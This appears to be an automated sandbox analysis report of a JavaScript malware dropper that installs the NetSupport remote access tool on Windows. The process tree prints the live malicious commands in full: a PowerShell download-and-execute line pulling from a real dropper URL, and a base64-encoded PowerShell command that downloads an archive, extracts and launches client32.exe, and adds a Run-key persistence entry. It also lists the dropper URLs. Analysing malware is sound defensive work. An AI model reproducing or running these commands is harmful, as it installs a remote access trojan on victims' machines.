Analysis
- max time kernel
151s - max time network
156s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
05/03/2024, 02:34
General
- Target 9cd1ee0ece1b7e51c0b17e30071576c0c364acfcf22a7a1632a9ec8889aad956.js
- Size 60KB
- Sample240305-c2wnpsch89
- SHA256 9cd1ee0ece1b7e51c0b17e30071576c0c364acfcf22a7a1632a9ec8889aad956
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://compactgrill.hu/care.txt
Extracted
-
ps1
-
exe.dropper
http://whatisfurosemide.com/f877c2e5-2949-4498-af83-6a5c5jd37342a.txt
Signatures
- NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
- Blocklisted process makes network request 2 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 6 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\9cd1ee0ece1b7e51c0b17e30071576c0c364acfcf22a7a1632a9ec8889aad956.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://compactgrill.hu/care.txt')"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nopROF -exeCu byPasS -WiNDows hI -E QwBoAGQAaQByACAAJABFAG4AdgA6AEwAbwBDAEEAbABhAHAAcABkAEEAVABhADsAIAAkAGsAbQAxAGgAVABRAEIARwA9AFsAYgB5AHQAZQBbAF0AXQBAACgAOAAwACwAIAA3ADUALAAgADMALAAgADQAKQA7ACAAJABIADQAYgB1AEwAVAA9ACcAaAB0AHQAcAA6AC8ALwB3AGgAYQB0AGkAcwBmAHUAcgBvAHMAZQBtAGkAZABlAC4AYwBvAG0ALwBmADgANwA3AGMAMgBlADUALQAyADkANAA5AC0ANAA0ADkAOAAtAGEAZgA4ADMALQA2AGEANQBjADUAagBkADMANwAzADQAMgBhAC4AdAB4AHQAJwA7ACAAJABhADQARABuAEYAWgB2ADAAPQAnAEMAaQBRAFYAOQBOAC4AegBpAHAAJwA7ACAAJAB1AGIAYgB2AEoAPQAnAFMAdABhAGIAbABlACAAZgBvAGwAZABlAHIAIABtAGEAbgBhAGcAZQByACAAKABtAGEAcgAuADAANAApACcAOwAgACQAawBIAFIAbgBDAGoAPQBpAG4AVgBPAEsAZQAtAFcARQBCAHIARQBxAHUARQBzAFQAIAAtAHUAcgBpACAAJABIADQAYgB1AEwAVAAgAC0AVQBTAGUAYgBBAFMAaQBjAHAAYQBSAFMASQBOAEcAOwAgACQAOQBDAHkAQQBlADQAVQBDAD0AJABrAEgAUgBuAEMAagAuAEMAbwBOAFQARQBOAFQAOwAgACQAZQB4AHMAOABaAFQAPQAkAEUAbgB2ADoATABvAEMAQQBsAGEAcABwAGQAQQBUAGEALAAgACQAdQBiAGIAdgBKACAALQBqAE8AaQBuACAAJwBcACcAOwAgACQAYwAwAEoAQwBvAGIAQwA9AEoATwBJAE4ALQBwAEEAVABIACAALQBQAGEAVABIACAAJABFAG4AdgA6AEwAbwBDAEEAbABhAHAAcABkAEEAVABhACAALQBDAEgAaQBMAGQAcABhAFQAaAAgACQAYQA0AEQAbgBGAFoAdgAwADsAIAAkAGcASABVAEYAdQA9AFsAQwBvAG4AdgBFAHIAVABdADoAOgBGAFIAbwBNAGIAQQBzAGUANgA0AHMAVABSAEkAbgBnACgAJAA5AEMAeQBBAGUANABVAEMAKQA7ACAAJABEAFgARgBpAFUAPQAkAGcASABVAEYAdQAgAC0AUwBwAGwASQB0ACAAJwAgACcAIAAtAGEAcwAgAFsAQgB5AHQAZQBbAF0AXQA7ACAAJABCAHMAQwBtAHcARABwAD0AJABrAG0AMQBoAFQAUQBCAEcAKwAkAEQAWABGAGkAVQA7ACAAcwBFAHQALQBDAG8AbgBUAGUATgBUACAAJABhADQARABuAEYAWgB2ADAAIAAkAEIAcwBDAG0AdwBEAHAAIAAtAEUATgBDAE8AZABJAE4ARwAgAEIAWQBUAEUAOwAgAEUAWABQAEEATgBEAC0AQQByAGMAaABJAFYAZQAgAC0AUABhAHQAaAAgACQAYwAwAEoAQwBvAGIAQwAgAC0ARABlAFMAdABpAG4AQQBUAGkATwBuAHAAYQBUAEgAIAAkAGUAeABzADgAWgBUACAALQBmAE8AcgBDAEUAOwAgAHIAZQBtAG8AdgBlAC0ASQBUAEUAbQAgACQAYQA0AEQAbgBGAFoAdgAwADsAIABDAEQAIAAkAGUAeABzADgAWgBUADsAIAAkAFcAaQBFAEUAYQB3AD0AIgAkAGUAeABzADgAWgBUAFwAYwBsAGkAZQBuAHQAMwAyAC4AZQB4AGUAIgA7ACAAcwB0AGEAcgB0ACAAYwBsAGkAZQBuAHQAMwAyAC4AZQB4AGUAOwAgAG4AZQB3AC0ASQBUAEUAbQBQAHIAbwBwAGUAUgB0AHkAIAAtAHAAQQB0AEgAIAAnAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACcAIAAtAE4AYQBtAEUAIAAkAHUAYgBiAHYASgAgAC0AdgBBAGwAdQBFACAAJABXAGkARQBFAGEAdwAgAC0AUAByAE8AUABFAHIAVABZAFQAWQBQAGUAIAAnAFMAdAByAGkAbgBnACcAOwA=3⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\client32.exe"C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\client32.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4004 --field-trial-handle=2280,i,716736634476467098,11449718822158202904,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
HTCTL32.DLL
MSVCR100.dll
NSM.LIC
PCICAPI.dll
PCICL32.DLL
PCICL32.dll
client32.exe
client32.ini
pcichek.dll
__PSScriptPolicyTest_c4xdj5sz.inw.ps1
memory/2496-13-0x00000190E16E0000-0x00000190E16F0000-memory.dmp
memory/2496-29-0x00000190E16E0000-0x00000190E16F0000-memory.dmp
memory/2496-28-0x00000190E16E0000-0x00000190E16F0000-memory.dmp
memory/2496-27-0x00000190E16E0000-0x00000190E16F0000-memory.dmp
memory/2496-26-0x00007FFEAA3E0000-0x00007FFEAAEA1000-memory.dmp
memory/2496-79-0x00007FFEAA3E0000-0x00007FFEAAEA1000-memory.dmp
memory/2496-12-0x00000190E16E0000-0x00000190E16F0000-memory.dmp
memory/2496-11-0x00000190E16E0000-0x00000190E16F0000-memory.dmp
memory/2496-10-0x00007FFEAA3E0000-0x00007FFEAAEA1000-memory.dmp
memory/2496-5-0x00000190E1720000-0x00000190E1742000-memory.dmp
memory/3796-15-0x0000026DE8A50000-0x0000026DE8A60000-memory.dmp
memory/3796-75-0x00007FFEAA3E0000-0x00007FFEAAEA1000-memory.dmp
memory/3796-35-0x0000026DE8A50000-0x0000026DE8A60000-memory.dmp
memory/3796-34-0x0000026DE8A50000-0x0000026DE8A60000-memory.dmp
memory/3796-33-0x00007FFEAA3E0000-0x00007FFEAAEA1000-memory.dmp
memory/3796-32-0x0000026DE8700000-0x0000026DE870A000-memory.dmp
memory/3796-31-0x0000026DE8710000-0x0000026DE8722000-memory.dmp
memory/3796-16-0x0000026DE8A50000-0x0000026DE8A60000-memory.dmp
memory/3796-14-0x00007FFEAA3E0000-0x00007FFEAAEA1000-memory.dmp